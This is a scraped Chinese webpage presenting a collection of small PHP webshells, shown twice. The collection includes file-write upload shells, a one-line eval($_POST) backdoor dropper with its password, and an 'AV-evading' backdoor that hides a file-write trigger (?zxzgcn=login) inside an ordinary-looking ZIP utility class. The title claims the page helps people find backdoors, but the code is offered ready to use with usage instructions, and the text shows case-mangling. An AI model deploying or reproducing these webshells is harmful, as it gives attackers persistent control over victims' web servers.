超小PHP小马小结(方便查找后门的朋友)
程序员文章站
2022-06-25 16:02:51
作者: spider 我也来个超小php小马 复制代码 代码如下:
作者: spider
我也来个超小php小马
<?php
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = stripslashes($v);
?>
<form method="post">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
if(isset($_post['file']))
{
$fp = @fopen($_post['file'],'wb');
echo @fwrite($fp,$_post['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?>
昨晚无聊看了会 php 的教程，发现php真是相当的强大啊！顺便写了个php小马
下面直接贴代码了。。
<html>
<title >by: sincoder</title>
<font color=red size=6>php小马 by:sincoder</br></font>
<? echo "</br>本程序的路径: ".__file__.
"</br>服务器操作系统: ".php_os.
"</br>服务器ip地址: ".gethostbyname($_server["server_name"]).
"</br>php版本: ".php_version;
?>
<form action = <? echo strrchr(__file__,"\\"); ?> method="post">
要提交的数据：</br>
<textarea type="text" name="data" rows="10" cols="30">
</textarea>
</br>
保存路径：<input type="text" name="dir" />
</br>
<input type="submit" value="提交"/>
</form>
</html>
<?
if(!(isset($_post["data"]) && isset($_post["dir"])))
exit();
if(strlen($_post["data"])>0 && strlen($_post["dir"])>0)
{
$p_file=fopen($_post["dir"],"a");
if(!$p_file)
echo "写入失败！请换个目录试试！";
else
echo "ok！！ ";
fputs($p_file,$_post["data"]);
fclose($p_file);
}
else
echo "请把数据填写完整！";
?>
php一句话小马的后门
<?fputs(fopen(jb51.php,w),<?eval($_post[jb51]);?>)?>
这样访问之后，在当前目录生成jb51.php 内容为 <?eval($_post[jb51]);?>)?> 的一句话小马，密码为 jb51
最新免杀php小马
<?php
class zip
{
var $datasec, $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0; var $dirs = array(".");
function get_list($zip_name)
{
$ret = '';
$zip = @fopen($zip_name, 'rb');
if(!$zip) return(0);
$centd = $this->readcentraldir($zip,$zip_name);
@rewind($zip);
@fseek($zip, $centd['offset']);
for ($i=0; $i<$centd['entries']; $i++)
{
$header = $this->readcentralfileheaders($zip);
$header['index'] = $i;$info['filename'] = $header['filename'];
$info['stored_filename'] = $header['stored_filename'];
$info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size'];
$info['crc'] = strtoupper(dechex( $header['crc'] ));
$info['mtime'] = $header['mtime']; $info['comment'] = $header['comment'];
$info['folder'] = ($header['external']==0x41ff0010||$header['external']==16)?1:0;
$info['index'] = $header['index'];$info['status'] = $header['status'];
$ret[]=$info; unset($header);
}
return $ret;
}
function add($files,$compact)
{
if(!is_array($files[0])) $files=array($files);
for($i=0;$files[$i];$i++){
$fn = $files[$i];
if(!in_array(dirname($fn[0]),$this->dirs))
$this->add_dir(dirname($fn[0]));
if(basename($fn[0]))
$ret[basename($fn[0])]=$this->add_file($fn[1],$fn[0],$compact);
}
return $ret;
}
function get_file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).
pack('v', strlen($ctrldir)) . pack('v', strlen($data)) . "\x00\x00";
}
function add_dir($name)
{
$name = str_replace("\\", "/", $name);
$fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$fr .= pack("v",0).pack("v",0).pack("v",0).pack("v", strlen($name) );
$fr .= pack("v", 0 ).$name.pack("v", 0).pack("v", 0).pack("v", 0);
$this -> datasec[] = $fr;
$new_offset = strlen(implode("", $this->datasec));
$cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$cdrec .= pack("v",0).pack("v",0).pack("v",0).pack("v", strlen($name) );
$cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 );
$ext = "\xff\xff\xff\xff";
$cdrec .= pack("v", 16 ).pack("v", $this -> old_offset ).$name;
$this -> ctrl_dir[] = $cdrec;
$this -> old_offset = $new_offset;
$this -> dirs[] = $name;
}
function add_file($data, $name, $compact = 1)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->dostime());
$hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
if($compact)
$fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;
else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime;
$unc_len = strlen($data); $crc = crc32($data);
if($compact){
$zdata = gzcompress($data); $c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
}else{
$zdata = $data;
}
$c_len=strlen($zdata);
$fr .= pack('v', $crc).pack('v', $c_len).pack('v', $unc_len);
$fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata;
$fr .= pack('v', $crc).pack('v', $c_len).pack('v', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
if($compact)
$cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00";
$cdrec .= $hexdtime.pack('v', $crc).pack('v', $c_len).pack('v', $unc_len);
$cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 );
$cdrec .= pack('v', 0 ).pack('v', 0 ).pack('v', 32 );
$cdrec .= pack('v', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
return true;
}
function dostime() {
$timearray = getdate();
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980; $timearray['mon'] = 1;
$timearray['mday'] = 1; $timearray['hours'] = 0;
$timearray['minutes'] = 0; $timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) |
($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
//解压整个压缩包
//直接用 extract 会有路径问题，本函数先从列表中获得文件信息并创建好所有目录然后才运行 extract
function extractall ( $zn, $to)
{
if(substr($to,-1)!="/") $to .= "/";
$files = $this->get_list($zn);
$cn = count($files);
if(is_array($files))
{
for($i=0;$i<$cn;$i++)
{
if($files[$i]['folder']==1){
@mkdir($to.$files[$i]['filename'],$globals['cfg_dir_purview']);
@chmod($to.$files[$i]['filename'],$globals['cfg_dir_purview']);
}
}
}
$this->extract ($zn,$to);
}
function extract ( $zn, $to, $index = array(-1) )
{
$ok = 0; $zip = @fopen($zn,'rb');
if(!$zip) return(-1);
$cdir = $this->readcentraldir($zip,$zn);
$pos_entry = $cdir['offset'];
if(!is_array($index)){ $index = array($index); }
for($i=0; isset($index[$i]);$i++){
if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
return(-1);
}
for ($i=0; $i<$cdir['entries']; $i++)
{
@fseek($zip, $pos_entry);
$header = $this->readcentralfileheaders($zip);
$header['index'] = $i; $pos_entry = ftell($zip);
@rewind($zip); fseek($zip, $header['offset']);
if(in_array("-1",$index)||in_array($i,$index))
$stat[$header['filename']]=$this->extractfile($header, $to, $zip);
}
fclose($zip);
return $stat;
}
function readfileheader($zip)
{
$binary_data = fread($zip, 30);
$data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/vcrc/vcompressed_size/vsize/vfilename_len/vextra_len', $binary_data);
$header['filename'] = fread($zip, $data['filename_len']);
if ($data['extra_len'] != 0) {
$header['extra'] = fread($zip, $data['extra_len']);
} else { $header['extra'] = ''; }
$header['compression'] = $data['compression'];$header['size'] = $data['size'];
$header['compressed_size'] = $data['compressed_size'];
$header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
$header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];
if ($header['mdate'] && $header['mtime']){
$hour=($header['mtime']&0xf800)>>11;$minute=($header['mtime']&0x07e0)>>5;
$seconde=($header['mtime']&0x001f)*2;$year=(($header['mdate']&0xfe00)>>9)+1980;
$month=($header['mdate']&0x01e0)>>5;$day=$header['mdate']&0x001f;
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
}else{$header['mtime'] = time();}
$header['stored_filename'] = $header['filename'];
$header['status'] = "ok";
return $header;
}
function readcentralfileheaders($zip){
$binary_data = fread($zip, 46);
$header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/vcrc/vcompressed_size/vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/vexternal/voffset', $binary_data);
if ($header['filename_len'] != 0)
$header['filename'] = fread($zip,$header['filename_len']);
else $header['filename'] = '';
if ($header['extra_len'] != 0)
$header['extra'] = fread($zip, $header['extra_len']);
else $header['extra'] = '';
if ($header['comment_len'] != 0)
$header['comment'] = fread($zip, $header['comment_len']);
else $header['comment'] = '';
if ($header['mdate'] && $header['mtime'])
{
$hour = ($header['mtime'] & 0xf800) >> 11;
$minute = ($header['mtime'] & 0x07e0) >> 5;
$seconde = ($header['mtime'] & 0x001f)*2;
$year = (($header['mdate'] & 0xfe00) >> 9) + 1980;
$month = ($header['mdate'] & 0x01e0) >> 5;
$day = $header['mdate'] & 0x001f;
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
} else {
$header['mtime'] = time();
}
$header['stored_filename'] = $header['filename'];
$header['status'] = 'ok';
if (substr($header['filename'], -1) == '/')
$header['external'] = 0x41ff0010;
return $header;
}
function readcentraldir($zip,$zip_name)
{
$size = filesize($zip_name);
if ($size < 277) $maximum_size = $size;
else $maximum_size=277;
@fseek($zip, $size-$maximum_size);
$pos = ftell($zip); $bytes = 0x00000000;
while ($pos < $size)
{
$byte = @fread($zip, 1); $bytes=($bytes << 8) | ord($byte);
if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
}
$data = @unpack('vdisk/vdisk_start/vdisk_entries/ventries/vsize/voffset/vcomment_size',fread($zip, 18));
if ($data['comment_size'] != 0) $centd['comment'] = fread($zip, $data['comment_size']);
else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
$centd['disk_entries'] = $data['disk_entries'];
$centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
$centd['size'] = $data['size']; $centd['disk'] = $data['disk'];
return $centd;
}
function extractfile($header,$to,$zip)
{
$header = $this->readfileheader($zip);
$header['external'] = (!isset($header['external']) ? 0 : $header['external']);
if(substr($to,-1)!="/") $to.="/";
if(!@is_dir($to)) @mkdir($to,$globals['cfg_dir_purview']);
if (!($header['external']==0x41ff0010)&&!($header['external']==16))
{
if ($header['compression']==0)
{
$fp = @fopen($to.$header['filename'], 'wb');
if(!$fp) return(-1);
$size = $header['compressed_size'];
while ($size != 0)
{
$read_size = ($size < 2048 ? $size : 2048);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
touch($to.$header['filename'], $header['mtime']);
}else{
$fp = @fopen($to.$header['filename'].'.gz','wb');
if(!$fp) return(-1);
$binary_data = pack('va1a1va1a1', 0x8b1f, chr($header['compression']),
chr(0x00), time(), chr(0x00), chr(3));
fwrite($fp, $binary_data, 10);
$size = $header['compressed_size'];
while ($size != 0)
{
$read_size = ($size < 1024 ? $size : 1024);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
$binary_data = pack('vv', $header['crc'], $header['size']);
fwrite($fp, $binary_data,8); fclose($fp);
$gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("cette archive est compress");
if(!$gzp) return(-2);
$fp = @fopen($to.$header['filename'],'wb');
if(!$fp) return(-1);
$size = $header['size'];
while ($size != 0)
{
$read_size = ($size < 2048 ? $size : 2048);
$buffer = gzread($gzp, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp); gzclose($gzp);
touch($to.$header['filename'], $header['mtime']);
@unlink($to.$header['filename'].'.gz');
}}
return true;
}
}
if($_get['zxzgcn']=='login'){
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = stripslashes($v);
?>
<form method="post">
save to: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="save">
<form>
<?php
if(isset($_post['file']))
{
$fp = @fopen($_post['file'],'wb');
echo @fwrite($fp,$_post['text']) ? 'succed!' : 'faled!';
@fclose($fp);
}
}
?>
用法xxx.php?zxzgcn=login
我也来个超小php小马
复制代码 代码如下:
<?php
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = stripslashes($v);
?>
<form method="post">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
if(isset($_post['file']))
{
$fp = @fopen($_post['file'],'wb');
echo @fwrite($fp,$_post['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?>
昨晚无聊看了会 php 的教程，发现php真是相当的强大啊！顺便写了个php小马
下面直接贴代码了。。
复制代码 代码如下:
<html>
<title >by: sincoder</title>
<font color=red size=6>php小马 by:sincoder</br></font>
<? echo "</br>本程序的路径: ".__file__.
"</br>服务器操作系统: ".php_os.
"</br>服务器ip地址: ".gethostbyname($_server["server_name"]).
"</br>php版本: ".php_version;
?>
<form action = <? echo strrchr(__file__,"\\"); ?> method="post">
要提交的数据：</br>
<textarea type="text" name="data" rows="10" cols="30">
</textarea>
</br>
保存路径：<input type="text" name="dir" />
</br>
<input type="submit" value="提交"/>
</form>
</html>
<?
if(!(isset($_post["data"]) && isset($_post["dir"])))
exit();
if(strlen($_post["data"])>0 && strlen($_post["dir"])>0)
{
$p_file=fopen($_post["dir"],"a");
if(!$p_file)
echo "写入失败！请换个目录试试！";
else
echo "ok！！ ";
fputs($p_file,$_post["data"]);
fclose($p_file);
}
else
echo "请把数据填写完整！";
?>
php一句话小马的后门
复制代码 代码如下:
<?fputs(fopen(jb51.php,w),<?eval($_post[jb51]);?>)?>
这样访问之后，在当前目录生成jb51.php 内容为 <?eval($_post[jb51]);?>)?> 的一句话小马，密码为 jb51
最新免杀php小马
复制代码 代码如下:
<?php
class zip
{
var $datasec, $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0; var $dirs = array(".");
function get_list($zip_name)
{
$ret = '';
$zip = @fopen($zip_name, 'rb');
if(!$zip) return(0);
$centd = $this->readcentraldir($zip,$zip_name);
@rewind($zip);
@fseek($zip, $centd['offset']);
for ($i=0; $i<$centd['entries']; $i++)
{
$header = $this->readcentralfileheaders($zip);
$header['index'] = $i;$info['filename'] = $header['filename'];
$info['stored_filename'] = $header['stored_filename'];
$info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size'];
$info['crc'] = strtoupper(dechex( $header['crc'] ));
$info['mtime'] = $header['mtime']; $info['comment'] = $header['comment'];
$info['folder'] = ($header['external']==0x41ff0010||$header['external']==16)?1:0;
$info['index'] = $header['index'];$info['status'] = $header['status'];
$ret[]=$info; unset($header);
}
return $ret;
}
function add($files,$compact)
{
if(!is_array($files[0])) $files=array($files);
for($i=0;$files[$i];$i++){
$fn = $files[$i];
if(!in_array(dirname($fn[0]),$this->dirs))
$this->add_dir(dirname($fn[0]));
if(basename($fn[0]))
$ret[basename($fn[0])]=$this->add_file($fn[1],$fn[0],$compact);
}
return $ret;
}
function get_file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).
pack('v', strlen($ctrldir)) . pack('v', strlen($data)) . "\x00\x00";
}
function add_dir($name)
{
$name = str_replace("\\", "/", $name);
$fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$fr .= pack("v",0).pack("v",0).pack("v",0).pack("v", strlen($name) );
$fr .= pack("v", 0 ).$name.pack("v", 0).pack("v", 0).pack("v", 0);
$this -> datasec[] = $fr;
$new_offset = strlen(implode("", $this->datasec));
$cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$cdrec .= pack("v",0).pack("v",0).pack("v",0).pack("v", strlen($name) );
$cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 );
$ext = "\xff\xff\xff\xff";
$cdrec .= pack("v", 16 ).pack("v", $this -> old_offset ).$name;
$this -> ctrl_dir[] = $cdrec;
$this -> old_offset = $new_offset;
$this -> dirs[] = $name;
}
function add_file($data, $name, $compact = 1)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->dostime());
$hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
if($compact)
$fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;
else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime;
$unc_len = strlen($data); $crc = crc32($data);
if($compact){
$zdata = gzcompress($data); $c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
}else{
$zdata = $data;
}
$c_len=strlen($zdata);
$fr .= pack('v', $crc).pack('v', $c_len).pack('v', $unc_len);
$fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata;
$fr .= pack('v', $crc).pack('v', $c_len).pack('v', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
if($compact)
$cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00";
$cdrec .= $hexdtime.pack('v', $crc).pack('v', $c_len).pack('v', $unc_len);
$cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 );
$cdrec .= pack('v', 0 ).pack('v', 0 ).pack('v', 32 );
$cdrec .= pack('v', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
return true;
}
function dostime() {
$timearray = getdate();
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980; $timearray['mon'] = 1;
$timearray['mday'] = 1; $timearray['hours'] = 0;
$timearray['minutes'] = 0; $timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) |
($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
//解压整个压缩包
//直接用 extract 会有路径问题，本函数先从列表中获得文件信息并创建好所有目录然后才运行 extract
function extractall ( $zn, $to)
{
if(substr($to,-1)!="/") $to .= "/";
$files = $this->get_list($zn);
$cn = count($files);
if(is_array($files))
{
for($i=0;$i<$cn;$i++)
{
if($files[$i]['folder']==1){
@mkdir($to.$files[$i]['filename'],$globals['cfg_dir_purview']);
@chmod($to.$files[$i]['filename'],$globals['cfg_dir_purview']);
}
}
}
$this->extract ($zn,$to);
}
function extract ( $zn, $to, $index = array(-1) )
{
$ok = 0; $zip = @fopen($zn,'rb');
if(!$zip) return(-1);
$cdir = $this->readcentraldir($zip,$zn);
$pos_entry = $cdir['offset'];
if(!is_array($index)){ $index = array($index); }
for($i=0; isset($index[$i]);$i++){
if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
return(-1);
}
for ($i=0; $i<$cdir['entries']; $i++)
{
@fseek($zip, $pos_entry);
$header = $this->readcentralfileheaders($zip);
$header['index'] = $i; $pos_entry = ftell($zip);
@rewind($zip); fseek($zip, $header['offset']);
if(in_array("-1",$index)||in_array($i,$index))
$stat[$header['filename']]=$this->extractfile($header, $to, $zip);
}
fclose($zip);
return $stat;
}
function readfileheader($zip)
{
$binary_data = fread($zip, 30);
$data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/vcrc/vcompressed_size/vsize/vfilename_len/vextra_len', $binary_data);
$header['filename'] = fread($zip, $data['filename_len']);
if ($data['extra_len'] != 0) {
$header['extra'] = fread($zip, $data['extra_len']);
} else { $header['extra'] = ''; }
$header['compression'] = $data['compression'];$header['size'] = $data['size'];
$header['compressed_size'] = $data['compressed_size'];
$header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
$header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];
if ($header['mdate'] && $header['mtime']){
$hour=($header['mtime']&0xf800)>>11;$minute=($header['mtime']&0x07e0)>>5;
$seconde=($header['mtime']&0x001f)*2;$year=(($header['mdate']&0xfe00)>>9)+1980;
$month=($header['mdate']&0x01e0)>>5;$day=$header['mdate']&0x001f;
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
}else{$header['mtime'] = time();}
$header['stored_filename'] = $header['filename'];
$header['status'] = "ok";
return $header;
}
function readcentralfileheaders($zip){
$binary_data = fread($zip, 46);
$header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/vcrc/vcompressed_size/vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/vexternal/voffset', $binary_data);
if ($header['filename_len'] != 0)
$header['filename'] = fread($zip,$header['filename_len']);
else $header['filename'] = '';
if ($header['extra_len'] != 0)
$header['extra'] = fread($zip, $header['extra_len']);
else $header['extra'] = '';
if ($header['comment_len'] != 0)
$header['comment'] = fread($zip, $header['comment_len']);
else $header['comment'] = '';
if ($header['mdate'] && $header['mtime'])
{
$hour = ($header['mtime'] & 0xf800) >> 11;
$minute = ($header['mtime'] & 0x07e0) >> 5;
$seconde = ($header['mtime'] & 0x001f)*2;
$year = (($header['mdate'] & 0xfe00) >> 9) + 1980;
$month = ($header['mdate'] & 0x01e0) >> 5;
$day = $header['mdate'] & 0x001f;
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
} else {
$header['mtime'] = time();
}
$header['stored_filename'] = $header['filename'];
$header['status'] = 'ok';
if (substr($header['filename'], -1) == '/')
$header['external'] = 0x41ff0010;
return $header;
}
function readcentraldir($zip,$zip_name)
{
$size = filesize($zip_name);
if ($size < 277) $maximum_size = $size;
else $maximum_size=277;
@fseek($zip, $size-$maximum_size);
$pos = ftell($zip); $bytes = 0x00000000;
while ($pos < $size)
{
$byte = @fread($zip, 1); $bytes=($bytes << 8) | ord($byte);
if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
}
$data = @unpack('vdisk/vdisk_start/vdisk_entries/ventries/vsize/voffset/vcomment_size',fread($zip, 18));
if ($data['comment_size'] != 0) $centd['comment'] = fread($zip, $data['comment_size']);
else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
$centd['disk_entries'] = $data['disk_entries'];
$centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
$centd['size'] = $data['size']; $centd['disk'] = $data['disk'];
return $centd;
}
function extractfile($header,$to,$zip)
{
$header = $this->readfileheader($zip);
$header['external'] = (!isset($header['external']) ? 0 : $header['external']);
if(substr($to,-1)!="/") $to.="/";
if(!@is_dir($to)) @mkdir($to,$globals['cfg_dir_purview']);
if (!($header['external']==0x41ff0010)&&!($header['external']==16))
{
if ($header['compression']==0)
{
$fp = @fopen($to.$header['filename'], 'wb');
if(!$fp) return(-1);
$size = $header['compressed_size'];
while ($size != 0)
{
$read_size = ($size < 2048 ? $size : 2048);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp);
touch($to.$header['filename'], $header['mtime']);
}else{
$fp = @fopen($to.$header['filename'].'.gz','wb');
if(!$fp) return(-1);
$binary_data = pack('va1a1va1a1', 0x8b1f, chr($header['compression']),
chr(0x00), time(), chr(0x00), chr(3));
fwrite($fp, $binary_data, 10);
$size = $header['compressed_size'];
while ($size != 0)
{
$read_size = ($size < 1024 ? $size : 1024);
$buffer = fread($zip, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
$binary_data = pack('vv', $header['crc'], $header['size']);
fwrite($fp, $binary_data,8); fclose($fp);
$gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("cette archive est compress");
if(!$gzp) return(-2);
$fp = @fopen($to.$header['filename'],'wb');
if(!$fp) return(-1);
$size = $header['size'];
while ($size != 0)
{
$read_size = ($size < 2048 ? $size : 2048);
$buffer = gzread($gzp, $read_size);
$binary_data = pack('a'.$read_size, $buffer);
@fwrite($fp, $binary_data, $read_size);
$size -= $read_size;
}
fclose($fp); gzclose($gzp);
touch($to.$header['filename'], $header['mtime']);
@unlink($to.$header['filename'].'.gz');
}}
return true;
}
}
if($_get['zxzgcn']=='login'){
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = stripslashes($v);
?>
<form method="post">
save to: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="save">
<form>
<?php
if(isset($_post['file']))
{
$fp = @fopen($_post['file'],'wb');
echo @fwrite($fp,$_post['text']) ? 'succed!' : 'faled!';
@fclose($fp);
}
}
?>
用法xxx.php?zxzgcn=login
上一篇： Win11 22000.376新版正式发布！更新内容一览
下一篇： 妻子和医生的指示